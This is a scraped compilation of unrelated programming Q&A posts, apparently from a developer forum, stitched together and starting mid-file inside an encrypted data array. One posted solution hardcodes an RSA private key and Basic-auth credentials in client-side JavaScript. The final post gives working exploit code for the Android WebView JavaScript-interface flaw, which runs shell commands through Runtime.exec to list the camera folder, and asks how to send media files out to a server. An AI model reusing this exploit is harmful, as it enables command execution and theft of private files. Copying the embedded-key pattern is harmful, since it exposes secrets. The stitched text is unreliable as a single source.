PTO7QgnkrxLkRKRhSJmVMpYcVB4LKLVeIe7HBjDGGPZGoQBzuYDPInLcKELcBPEouyiVYF/hdpBbp7XuZngre4W8KPBtT3qHAnUQRowT5xe8Is4=","ZtjH15IvdAImUfb4QC97D6KhAoCWzuVC5gAIq1LYVNIX+hAdKpxPsRR2/4KAH4Av7Wv/MM8TMAnWDvB67USoneOxm2BYYiibDh26ld7Reu3WEohpymKszxEc0Tc6tOk+XbU7TvU5xQg/6r1ylKZ7lNM9kYabusLqWTLOq4GMM2I=","NQtKhJ3dQaGdaq8Fd6UzExBU84SXIhbT+wGr1PJ5Vs1miQ80J0TgYaYmshYoQlQkvy5hLb1YZdYsp82h/xq3vHPc0Mc9uWQ+172ZpC5AbTePR0rIMs2TZHhR6lDEQp0Cyc1RfEl4RVimOir6yJnfmGKEDYBAQ1Jo2VsRLX4ctCU=","ApyXHMvfDe4Jrh7DXMnMviAZ/xiDEicCT9gtayi3l46CGY5+BXywA0oYtCiSb3dtRJtGyCxN0x7GCLQMkSkO3MpPGDRo+J3/Z8mT5gKczKzdOe/2jtOyrru09FWpVrTjT9m8L34nN+plm3acdmU9pdxZbqXXLP3JDvCBwDd3gi0=","qkCPogYiEkHVP4wM2aTtyb5tcP9gLhdo0zHmHeiBAV8dT/8Mq76XefGVdx2J5EQeMgz6uXPgvK26Qs0xz1Kpz6S4S8wbyiHQuLex5zgNG1+vnqng1JKQMNAj6xdZ/eWdoEEn/IvaxF1FtsbTdgQpGq2ECLbytmn9ADsp+LCzGeY=","b/ZeK8BE24gKjr+Sv4G0v6PBxuJRMD+ljqb2frtY0iwKhVsKdmM7A+LnXF77Q9v/+eBaBJzelxGrsIWzXFIyxjAo99Z4eSLx/K4fSbTfmtb6onQaV/ZVO8IDArcpnIvLE1jwRqZqSgpyD8XmrdAflNm3tHkIg0DOlG20PZDlG4M=","phycwObkFgoiHkvSSzauIHO9ZMU5A0dlm95pzGOAzC02LC4C774tbBD4EfYTKci6VP+kVZioi4dqMcICGrNqK8QOcl5OPyMTOFrPlwxXVvGABnBxrKpy1sJQOD/Iye2lX/0Z1P46Vz0zQrNCcUNaXADGdTHab+U4qsVp7ZyypHE=","ds/mkGSmqjM7d+tZNjgpPmJSt54i5sN0g4NfjAdEf/iNhdXLleyIeyNyvvR3Mf9lDdRhYLXm/spqCH0RdCk2sb53q98KxVSM25rwMejszb1HeFjP6EywxycvcrQmW0T0ucmyAqxqVRWdHSPyg96eEfdDgKkuY+Mnt1VywgaiU+c=","pXuReNx4h/0TQC8BF3B0k8ru18mSfvatUf00OP36piKNhZNPkW685dc7YXFgPzvkyie7CVHcjDsjfY3Ecbcxrsx6HtN8rCwo+NczWBTWNzsod3Bv6ypPoHNxVJLC+Md5FLjet3qd6BQrE1kRe7FDUKsiFIBy2jFmkxhaq3VQn4E=","M188lD4GVbW22azNESkw3Ae/MX1QEDpBs9Eus/dHasxmIeTEh++ICEkjpIXGP30DBRokrWOdSA7yX/eSJOsdLGN4zFhI8fowonAIEIfM+EDrMShAhz7KEAwPFaFh04xj94mDvFniFTDqFjia2Ni2TyabSynDc0wFAKbbAVY/Kp8=","jsAOp30/z4ibLJWEJeVDJCgUSGMf6oIhhgppzChk/aKNn7w+MkflWml+xPUXjFYwOXh85xkhKR/CzulZitB3x+pr1IQo6XCZ/dgXPah9PbOicwEiBqKotTmEbcogYZNjcCUWl3uKgxb++4VsUQHLbWYdP0LrmLG6OksKZoZ/9bU=","Pcxn2k6kLQZPAd5uvrmZ7n2GollvMbWR2FeS77Hi/U4kYWOIxhtM1O4XHe5J5NNIpwluYqwfCgPgR3Ggnd3iwKJqSIG9Eco34kaZhoZUMSL/I3j2ORJr9l3tld87q4pUKpE4FYsOSX7pY5a5tjZ11z57oIf9tQu9FERcltYXZ6U=","JUsfP/ZqZ/LitkkFpKCT9iVJlxZ4CzMZLPwmnquku81ZRRprQeX6s6hXy8zZpmJVnsPZhRFzpgdCInmsCyjWYFHBdL/M2zqXelCwSOESuGPI5J5AsIAgHm3a0AwBSLE9lSuJPoXUV16AYeXx69LUGCTz9etD6sZTadG3EE87Sdg=","mMjHDFvAdXQyRhgQOHNyMTnpPY3JE1O9mH+U5ciAtOmSYAqz2930Pae53doh3TKY3tC6N1MT0ETmDZtHunlnMVI/bBm17IhyhIZAthoIlS+4i53e2aToyJ1vNgivCI4ufEbyQzZ9ytK+MpwnmYE6dMwxnohlw+W+thQs917ZirY=","dHKxaWtDyisj9zFUOaQeQM/YbUJI+HBAiskL6zsn1Ysn1ONKMmGfbn6SYMAuMvt4JrR73+fAluh48wwQvChYi2HiG4qnLW7tXbvyhhiT8MiChrq0IKUJhkMHKMqJGB4VbPrczHzM8jjR5jEyaCH8onfcyyb2RmpmLhf5vlVgPEY=","ij6RqDOu8Gn9hBxFoPtCns6/onG0NatWu0Jg0PDCxVF2zMSSxphD2o7pw+6JnuBmat8nwL6sD/XSm8/3+NH30PHejnGNloRjw97jCwVjuMoy4ICJR2GIaoUdyrzqq580g+BUWNAlUuurIVnjZrR5w2llmp5pP91eNHL/sUTSGvY=","bVTIQEfyAqEffE/4qDi13LsR3doQkdI0BZSRze+DSOm2WsgnySgIy8uugobbCOncvQSgPjerP6vwHzphJLc0TwnNlEDa0LA1RRUCEJY10U9oUplglOdPk5qdKWCgQy4rgeDOLfCLrHmnzb+PJpePXk0FxKdOn7zoPPsbElruU8Y=","pcaNIAbg9i+GAuGxMeHSJ4IfNeG6J4OrbOQP8+6c+zcevl3Gas3ofFdxWiUmx7nfSyI5QMP2Hfk+QXv+bvZKIi8ouxm8LBg9vOAxSiUhUlX8WSO/8m+7AQ1GdpqIl7lSc3fkb1r9byWTvLyW8RFJUrMx8RHARtmZ0y6LxMsuSaA=","IEVFnTLTc8Z/9XXyjPQTTKOgjShjvNSFK0q32dwmPZv/N/KCC7YzlWofAqQ0/nWFSQmaSZtZFM/QqiRAAk3xHQSNRQ09fM0llqdjHqA4EKKlJGkMLQ4ErD0FLrV3Awebn0IMLSFSW7ei+Vz8xOZJGTDctlKcmKqg+0YKE6EI5n8=","axajgNjWeZ9cZjJq4NKhkLb+nicTwNFOM3t2WHufe69Wh0MvC4K3s2jUzoL+qlXhMx0ZpKFg5bj9FfVg7KgUJuaFtVGvYJmaj5aMB6S/3DtWitb6n7IuhlK7fD3AgxUiVvmTY64b7L5/xPOTrCKuSMhG5XwYfGptystXxTSYqfc=","EDQpGb+i0+ENcXIlFvPgCb7/ayUv41SJmQmaXUkWj20pXQvg57Z3k1jh8smm9GbL8WL0YmGexg4d66ojEKHfPd0QK42AptutPYQQg3FkDL+MtFDdNg/9cG7xwXTIKt44XB6Kjla7M6oqAUlfmnHnaIsxUsFq20qDZdR/4NcnxnQ=","UuQZt/YHAepGMgkdWg8RYqWHfzrejB1M8im1Nl8OX8IZ3DCd76RgrE2Qa9atH8e0XwJxvXC1ZjpqgbGOh1IFnBgxKjgWYF+eWd4sG8vlk4LbkVs/AMoZV4azru2ek3zYeqM5b2LQGup0r7HCx9pUYDCB+uyEkKa2aed3kzYoIlI=","WGPa3yO6qAgrAsAorqswncwjixZsOvLzoHRkOT4Jgd+V0XdXyXskOQNYH74v35C/tXGCyXgRik3Er23+K3/NrkWOjSTxXJ4rIwAfLQyFvx9NigskeznJez2+aQjQXnGMubeG7PAwMzn00chGcTLy61xLQw2UYvvaXvsBsxqA7T8=","nHG0mcuOPT75QDJ54kF6HuXsdJOXAoz7K+ioI0F7oUQyTFY13n8f6b4VarUEHkl706LP51jgEy/RnYpCqAFK4iDU6Ama6lhJLWWikOvPC+3CAr0O4dcGfyqFxZICicgzuN4b+Y7tJLystHZDwMcBqq78NadXUIRnDayPL5d0Log=","mvFsu1KRGfYDmJBMb4lq4T+3VGkzYaHPIVCzy7f19aYsFs7aVmeM2hxjNHg0ERzoqrsnZfHcoP9PMkIYw5lR/oSkistwCrWyVbgO85CKOFxh4gSlP3zfg5iJzEHXRThxfK70y/txtSI5JxIdnHNbdWo48kr4JyFYDJw7mrTvmUM=","DAsvdeFDCiyGFSSeqyfCD0d3KvLjnbOTXZcZsyuvh/M0T+qaISrIQljlZy3Gvs98X8rnEBmuFunaGCOMr8EJ4HtkS5MF/XsZMtCoQtRk4Y7AnwuS+8IZ0aT3mBzgQAbu9SccgODDxIvltOO34FXPb2kli8PsNM9LPJAf7cTb2NA=","MpC/80NSahcHATkKzAxJ1SCYROnqsmVOWXRvzWnSTsA8l1Q10HX7JlVUeXrjAQghp7iL2rcG3R2oUzcb4H8VsabTU1oiqi/tz0QkAxc37eYV1Oh05F/+/pasJiTmnPeTTli8Ub4cIijq9dz4RVGG5d6qQy1ILXF8PxDEJkOZ1YI=","NBswb71WYSuaFGmPJO+5Wx1VNKaOJLQZX326ANWZhUOV7Jrxjus03WOPp8d0UN5az3aimWdMP7PIWHZSZMCK4KkmYlqgKF24FXvv0K7YteUGenp42g5KbqBEAgV19Dzc8WeddX5Bc7ml7nlKyhlGIu0PqEnYKqEuXYf9qmxLGpg=","GPcjIoJsgr3yoAx2f17TtIT8ugskdWMCJV8N9I9Z94wMuY9WRkaUDABWB1FGoNxESMWcF49uYiiOEmvYFVghs4//zRgROA4ENvru/hxqVOgoaN5Pum95IGhDaoJMKPwGbJAaCdbuY5+cG5vupCR3SonVMKvjsfsi7CASxYLFF/g=","HKnU/Hz0zgrNz2Y/F/5WnLS8R2MFPEcM35uLSMYsjrA4Baw+gSNGw3iSxaEKRKfFJZrrSEVQzAGhxYVbXblJh2sE7YliOdSAyZ2j2o0kC6BmmmJkGibqi82OYyzKyRErzh8xzRuR5rdkzHCdSPbjkdhAmJuYjHCkQ1AkwrCm8J8=","F9EWp9e5qakVwcqfkveOSrizA3VvXqSpIAx6qgEkd4FONU6lH9NxgOh/IZXFpT2sNAUES4lkum6FBdRQEAgPg+fIBIucyx83uT2Cw7C6sJlpLbbfdM9kweWrYblv3WRFK+E5IiOMZtBhwEaQBS8ZNMrv64VbIHQZ9UXrSH4z/gU=","IP7rUlh6CP+GHyl9J/zp9OX0ZxTZYloM4kZ7UpnSqGgkEdNFDV5zHPjLfg7FyqtjTYdbigWJwUB1KqyZkBgQgkzbw/z0VF9BuGoKJR0Lz6CncUGcFrA/JyqGasyYISaMGywhB7l70wvo2ulUoDxFMVSq6L6UXVvOWl+r8Q6x9/E=","UCZqRhlw4sDoRQ9a6RW05ejpuQlBEFqivjHBCUGWKFJe4GB5EE/cUz0y777pNrvSggF4KksO+OIjmZpi95GiS5uOkQTn9h3Z6XGD9VE6yo/uWHlVVdzd08TmSwQGRqM+NxLFjblmgd6WCrtXLybm3pb4AuDFqu3TgEt/NoZ5SQ0=","Byc+2qLxaZujf3moVYnVwjRjkssxE2PSl8Mrz24EwD4cBuQnatFsnNvzoXUXgc15ioYRJWgGpYIUdJRXZoswAIUISZZ1AKhKx08jLoI3bFdJYtAfxWbTU7LZtcu6uiS45bTiuDKVxlIbTodbsxnPYCMq6kfVX7yiv2EgY0cPTHk=","aVs8i40CGtnyKzmSvhMhVBWgVt1h2sCL/+urupYKvlFk03clCdmFa9zGd9ZP3mxdo1vhAKGGoyR85+oKV9O9L7lPAFlSFNWUNYtIXZ1tOqKVRn+9/ti7oO2yLGGrL5MD/XBO0sIPbVU8M/3PPM7KS6vTz4rFKixbo+Qgcv0ulGE=","FsVg6FpLMc8mdUhqWWBbtRLUnOZuZowJD73VP+3yvN8PVFUOTndULvIm1otrpowXqMXdGEozcEt8xHo444NV98wZfSws+mXexPW718nLg1oBP9gx5YYzIuPXdi54Gc9PYlPkdkp9TJrSFkoyD3xG4r3WXBf2CfM3vV0RyOrOE2w=","BciCcIVwVHkuxY/Q1XZ9thFvwephi7wxInX1slzJjb0MaKlS1+kOSwab3eqkGpxQSdzxpn0t1zprRuVMXmuZ1aw7dKo2zdFH5pF5P235skCV2u3dlt8qK0xYgj6NOWZgqtse+QlFtFcyzZQFSMmbNTM2oGIonR81/cFL4rVc7dg=","QadoMq8sc1wl1tm1IffyIXuzvWizaloZ5XsKybqHP5ItZGLtIsVTP4BNIgVedgfxQTiPmrENe3ExyPeZia8wqblYvLXqUfm5K02xrL15I6jp7ZftNzmhTJqMY8WgHrT/9SmZpPPa1sEGQiVXE5c3EHndppVoIkgAmqf9Ar2Y4ck=","WMtmRXS19GuLmwTlUsdhSFbYRFiqGsA/fDGUR1pQpk1kiFAMcjuJZqb5Swv4vhfoLSpsqdLf+c4MhsKRDGHfDrywV66XVF3ju+tHmv5BoKTx6tMV0+4jsDydRq9qhpGw6oYv+arV7pu43ma9wZu4hO7zNrOBFL07TD6IOO0Jzy0=","B5wDsciclfHpDOwo4l2BNL6KIYoHyvzip/rBgE7EDQdIsYJANlcl461+SqE+faF/QJHuwKh5jyxxzFVGGlDGxJMbO2fnsNH07fF+pw+3rhFkGC6Js2MfULdTNZld7JSakL7VKSIO65ze/tHq1hUtjuGDmopRXDJsf8tKo424vHI=","WHYCopiWkqkYzExrnTovtfmQdV/SLgnpGHZlVCVb3tSboIssteS3jkNGIfylJjN5N4+7HiFFu40xEDORwPnOvskROrLNbk4Obfb94SXxYAOxS2F3HuHv8GimnIeeTZfjeYF+qAG+r30tM2YetiBMIRTuCX8scHhrY9mlA4w6xgM=","AK8YzdYxlGdytVT8P2Ui/VUSGnyYOeBcboIOG7IzfllWJfs21dfpscUGvMrUiKqZS7i6WlXHUSYudlaeZq7cCm3xqkcf4vfwoz6At7RCmiIhWqnqkjjJJhxjIyVIJbrFT7P5VEkK9YrJ3eS9S+5bCjTeUVaWyQxuWjbw2o5gy/8=","mL/cOyxDFRLspoLmF4mmVpy8jHWt8I6uyNaEhcVN5mPeyb85ABbxw/JVjle2dwUhF4Pa+sWplZeIMh76JyUnDxro8TtIgG9WEhrHGOtlY+Hll/dR3WMhCRKYyz9SdGJTgsZYG3H+clos/cjV2T509Zfr+HRdSEZxEeXiL+yCX6U=","BDApLXXwSVSApjCF7T6LjP6R2TAc9QrxGVtS8y0baW+GxfEmCfr/BTDI9IHy2ON0GN6xeJvhRSMe6K8mWcJ6yyf2AlNgEnKyHlccrhBAFJ53QsHM0rcvAkYqVPiFPVXeZcraR8wTx99eCMEBZwTELFp6rnXKuYU09pN+KW9L7xg=","TR1tz36rJrtUYUFOqK7A9Cnk4w7HiuvqDKyrUX8i4jkKNYFsLcfaOgBJApBSEjJGoCiew/WjI3x5vgAG+CTx+LTiRWcluTy21aQXdDEjgiyBYJs5ykbfeomXkcCWNENWVtLU0H/ccgTmBFknYwbfUu4K8ZEJZzQy0Ofy/Z+fOtY=","RX7eAauCqgeVjHpS5buZiTnBVZHgBmxkxqmkbKDbJEgfwl+0On0jBVIQNDwYW/JoR2y8xwbHFToGZ4sP+k1vY6bXCeT7IGgv+GbJaS3VlrD7plk/JzeWTdd9Hu7ApkPp4S43jTKwBrwvUD/2gzOYXoWDt8hpvyCLPWpA1rh5+3c=","cGp6i+siSybph+hRaOcjctCGbH0bCVlkHjej2mHZMPutTBiNueOUeOw5jCm7w9ngc84BBl/90JlA/9U0mTSh8K7yhgi8dgHWK5pDo+BesPiv5r0Ga4hT9+OYIV7wX8yhiDc8izeyR51/m5Sqvwl/KEUm1+wqOa+jh4FwfMoQnms=","MCMmu0NtDQ112SPMOt2RPirgiflHTjTpwVWGPn+uihp6HTvozzB57OsrWR0sVDf2mUfukkiJqE9KmVsx9Uujby5ekCLfCw7GICEn6m3yJDTW2Nrv/sBDtG1J04JOGAFL32+ZU4DYT1XvNqwVY9UXzzlqNHkadO28Es86RrGvSzU=","SzJmkf3exPTbEk6lmOkHiIY/l95h09MFMAjZesEFUbX9LgWAaYMdFn6c8dH+JgDhmu2a+W2EKtIv64/N7t52RabOQVAA/0iGI6LPevhPjiBWD2D5/AoM+xF0Cl+uBrpHCEhoMK5MK28HVgl9EXDaT4KtELeC48TUJI3WivmEhtA=","fD1TDxNGjDhwQRM1pWb9Xmtd0agPE0n5V8+it+qSyqutLDtZ98GsTSXZSjhgA2+x059+MEm0d6r/TKZL2br4iD4JRG22cQfls55zxFiwBi6HfB4Iyc5Mkt6ffwp96A7eEK/da4II4MqPzYf9lold3bW8/8fMTtNF9CwViiSZiiY=","IvJ/9aKWsUrjmxtCtRoaGMTWM1K80Yz8Suxm6wb8MfBqDUG2Hr+MhmTLsKzfAWtHQJgyx9CixOrrxxuvORZDikCOq8Cl+JIjEM+K0V7SUpNbdVIs8pr1Opapc8ro9BHy8+bseMRrUjig92psVxQVK62srjPNrk11PT2XzRtwKYA=","cuASUt2Uc+DqavAMvPnSu3ANPPAzZ6EAximqtWWSbCHj3kX+9gTMLaDMRPsHh3RpoB3SfqFkZLebJoS2OTskIcafCDpadfVGFOENcvlImnBNnBifPZApVi0JdJQA1DFyQQREVBNAwJud4jyB+Mm7T5HMMsyuwF9xRSXIaNHvO1s=","ehhMS+vXJ0PMUVwOprXHmLI7QUz41COBvYMTv0hLvZjsJQx4gSEyLKxalC28ofDvne0/X2DTI4VJAXlhsbTN02ab6KRsfixlsHhl0H9ljM6t/0M+F+4DYAidij6itTpxzEhHQ6em6zTnbJn0H6hHUQhF6gSHgzoCW1bhqrzm7vY=","QEQEpfd18cU+ZakCU9LPsf8GWeg6EllwD12qJEb5SY2fUWzlRC1TmEkaddi0AX/0xRccY14FOuVB6HrqpeAJv2wR32dr1Y9qstwdhrF6P08oSMTL6DDoCiKyOHlnPUb1N5b7/80i96Ebnujtdpa5jMZ3P0NhQFntlaSb497eSIw=","YX0eXLpzR7tSlMjBkdoYzyqWwZ3ojzCS70B9U5cUkTaxLqtwo2jB95nU42aHXToRZrHZvD4k5Oi6RCQRVwM5htoclLa/eCe0tm6McdLbhGbFjywteJ2B6As08TtxRiRcNHCIv0TkyKEeCQOMceU/lNyVrUSQfL32FOHT5LybIkM=","StnkaydVgI0r+mMsUXbBposg5mKu0ysEk2kcnIjaeCH8BBKWcIwysRC53upITmcze+qNCjtg7MXQjguftTbpdBM/hFRPjJ6p058AZNBxtzqDi3jZ01bIk4qkMV7ZcT0kDvmjJd4EoYyLzdM9sb5vtC7zmX7A8OuJyQREZKyJpS8=","XROjq92iUff91yFqYvmA1evnr1vq+E7CUWil4aWrMvAKr5zipYW8BTRoWgCmbYbFqOQt9lcVkI4EIOGSWVhWW6frRcFrn6ZDdyPtepn67KLynr8+C2leDAnb4MiGij/OarDGvLnDQPXDJSgbK993T16Et4tPGcF2li4cRjLMXq4=","NrHgOCjQJQenerVkBXLEjomju5j9ljPQl8KT14x6qK8wSCWk3jCZnXc0E7Tvv0cfu126EOIqxGWE/wlucllI9w0V+BiPE6DJu+s/moMaUow+4Jmp1FHbrFS2Qmbv2RsZ3yQEVwly0Bgtc8ayIerymTAJJJ77D/LleLAdhtOnoBA="]);
log = function () { console.log(arguments); };
function fib(n) {
return n;
};
r.map(decrypt.decrypt).then(log);
</script>
</html>
It is possible to utilize multiprocessing in the browser, but browser support is pretty porous, and it will probably feel like a hack. You'll need to use a browser that creates a new process for each tab, and that supports shared worker threads. So basically, Chrome.
Using a Shared Worker object will allow multiple tabs or Windows to share data. So all you need to do is create a script that decrypts a portion of the image (decrypt.js), and sends the clear data back through the worker. Then, have your main script open a few new tabs running decrypt.js and send each one the data to crunch.
However, there are still nuances. The message passing across processes will impact performance for large objects since they must be copied. This can be relieved using Transferable Objects; essentially, you'll have to manage formatting your data into an array buffer and back again.
Also, the browser will probably give those tabs a low execution priority or stop them all together, depending on the implementation. In that case, you'll have to create a worker thread that posts a message to the main thread at regular intervals, for each tab.
This is all assuming that the encryption algorithm you're using can be done in parallel, and that the JSEncrypt library supports it...
My suggestion: decrypt in a standard, dedicated worker thread and show a loading bar. 10 seconds isn't that bad when there's something pretty to look at ;)
Following worked for us as suggested by Artjom B.
We have used AES and RSA encryption here.
<script>
function load_image()
{
var xhr = new XMLHttpRequest();
var img = document.getElementById("image");
var url = "url";
xhr.open('POST', url, true);
xhr.responseType = '';
xhr.setRequestHeader('Authorization', 'Basic ' + btoa("john:secret"));
xhr.setRequestHeader('Access-Control-Allow-Origin','*');
xhr.onload = function(e) {
var test = JSON.parse(e.currentTarget.response);
var response = test.m_Item1;
response = response.replace('"','').replace('"','');
var decrypt = new JSEncrypt();
decrypt.setPrivateKey('-----BEGIN RSA PRIVATE KEY-----\n'+
'MIICXAIBAAKBgQCsqVGJUP6PhkjLSk3BkVRxg9ikUMZjN1BLS+HmEcjlVbkbsSuO\n'+
'K9uMmtZ7rkmL5aXcLxzNS1fexlr/ixvHeaK43KDXxob5drxcwCaRpadm4JjEKWiG\n'+
'ExbRUIorzFRqxCKFTwXRLerXhyFrfTqv/XNA2F94XwWBNuE8cs9S0ude9QIDAQAB\n'+
'AoGAPMzq/3XcDmJ1I9EojG9G0ypgkYw4MBv8VGeGRuQgYFHNe2jqM4hSKbMksCzx\n'+
'jSfzPhQBCnHroXEr/izYPWgh2m73737TYMHN5UVp9Kt/D1Kg/CUu6SDB6L6hbSYK\n'+
'YkWwifBtPzNcpF9cy7DPVaFGEeCkBroy86VcoQ/cVR7Vk8ECQQDapO2ve9Y332al\n'+
'iW7+2rFxSOeXwdofAlGpv378rAUIWrkGH11a4AtXInaPlty3td225IE6SyJu6trU\n'+
'4ookVNtZAkEAyikwrR6fDOqBPNrVKclfLjdFdfOhVIgdDXcD9lUhmcLJxF9NPKAW\n'+
'cVeCloFuw8eaHv8h2SrUt2itTw/N3ERY/QJAXP8XhbNTezJPM4uQJWAZZwjOUJMI\n'+
'VnYjC+NCfPAht9r2pa8DgxqWWDp1WT+eo5j8M8VfXc8FV04XQ8MTZL6fCQJBAKCY\n'+
'RCDiuHrsN6p+NOQzIjd2lOl0lu6uClZN+4nOaxjY0qv7AUJt8iYr3INvYuyIPfjt\n'+
'uJfqHH1u3G54IZMfgIkCQHBNzxAMO1upPNl5pbzw8KZyNavk9F+uYa3M54cpIw2H\n'+
'uO34E31dml3/77FAaCe8lIo2ezs+nbYVC2nNQZmGtGs=\n'+
'-----END RSA PRIVATE KEY-----');
var uncrypted = decrypt.decrypt(test.m_Item2);
console.log(uncrypted);
var base64Key = uncrypted;
var baseiv = uncrypted;
var iv = CryptoJS.enc.Base64.parse(baseiv);
var key = CryptoJS.enc.Base64.parse(base64Key);
var decryptedData = CryptoJS.AES.decrypt(response, key, {
keySize: 128 / 8,
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
} );
var decryptedText = decryptedData.toString( CryptoJS.enc.Utf8 );
document.getElementById("image").setAttribute("src","data:image/png;base64,"+decryptedText);
};
xhr.send();
}
</script>
I have a spring boot rest service with endpoints defined like this:
#RequestMapping(value = "...", method = RequestMethod.GET, produces = MediaType.IMAGE_JPEG_VALUE) //and octet for videos
#ResponseBody
public ResponseEntity<byte[]> get(...) {
//get image as byte array and return
}
And the client side in javascript (angular) :
var headers = {headers : {..., "Accept":"image/jpeg"}}
var response = $http.get(...);
obj.imageSrc = 'data:image/jpg;base64,' + response;
obj.Image = new Image();
obj.Image.src = obj.imageSrc;
What I require
I thought this endpoint would behave like a regular image file on a file server so that the client can just do a get on it (for reasons outside the scope of this question, it can't actually be a raw image to access with a URL). Apparently this isn't the case - the byte array has to be converted to base64 (is there a way around this, since the array becomes much bigger), which has the effect of rotating the image. I wrongly thought getting an image from an API like this in javascript would be easy :(
Secondly, doing it this way means that javascript has to download the entire array. Is there a way I can define the endpoint to allow for a stream so that javascript can get it in chunks (I imagine both Spring and JS have utility functions that would handle this?)
The basic underlying question
How do I implement this properly in Spring so as to be as Javascript friendly as possible? Bearing in mind I want to serve both images (~5MB) and videos (~100MB)
Thanks in advance.
EDIT
Perhaps I should be using FileResourceStream as the return type? No idea if this is the "right" way.
1) Don't use a data url. Use the direct url of your controller-method.
2) Write directly to the http-response's output:
#RequestMapping(value = "/dyna.jpg", method = RequestMethod.GET, produces = MediaType.IMAGE_JPEG_VALUE)
public void getImage(HttpServletResponse response) {
//write byte-array or -stream to the response using
// response.getOutputStream()
}
P.S. In case you really need the data url there is no otherway around as you do it, since they require the base64 encoding
I am trying, out of interest, to do some remote code execution on my old Android phone. On old versions of the Android "WebView" component, there is a vulnerability that makes it possible to execute shell code and read the response via JS. The relevant code, taken from here, looks like this:
function execute(cmdArgs)
{
return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
[...]
var p = execute(["ls","/mnt/sdcard/DCIM/Camera/"]);
input = getContents(p.getInputStream());
In this example, we list the files in the Camera folder and store them into 'input' as a string, which worked fine for me.
I have read however that the same vulnerability could be used to exfiltrate whole media files. The problem is that I do not know what type of data I get if I just remote-execute 'cat /path/to/example.png' on the phone. I want to submit the data to my (Python) web server. I tried running the above code, converting the bytes to a string (which contains a lot of gibberish), send the string via an XMLHttpRequest, then on my server just save that string to a binary file. That didn't work, obviously. I strongly suspect I should base64 encode the whole thing before transmission, but I don't even know how to retrieve the raw byte array from p.getInputStream() . It doesn't help that google doesn't give me any meaningful results for 'javascript inputstream' at all ...